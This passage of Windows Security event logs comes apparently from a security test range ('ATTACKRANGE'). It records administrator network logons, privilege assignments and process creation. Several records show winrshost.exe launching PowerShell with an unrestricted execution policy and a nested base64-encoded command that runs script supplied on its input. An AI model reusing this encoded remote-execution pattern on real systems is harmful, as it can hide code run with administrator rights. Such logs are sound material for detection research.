	Logon ID:		0x1B68F6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:43:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247976
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18BE2D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:43:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247975
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18AA73

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248010
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F6496

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248009
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F6496
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248008
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=248007
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248006
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F4CB4

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x46c
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd74
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248005
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F4CB4

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd74
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xaf8
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248004
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F5140

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248003
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F5140
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248002
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=248001
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248000
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F4CB4

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaf8
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb04
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247999
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F4CB4

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb04
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xbb4
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247998
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F4F19

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247997
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F4F19
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
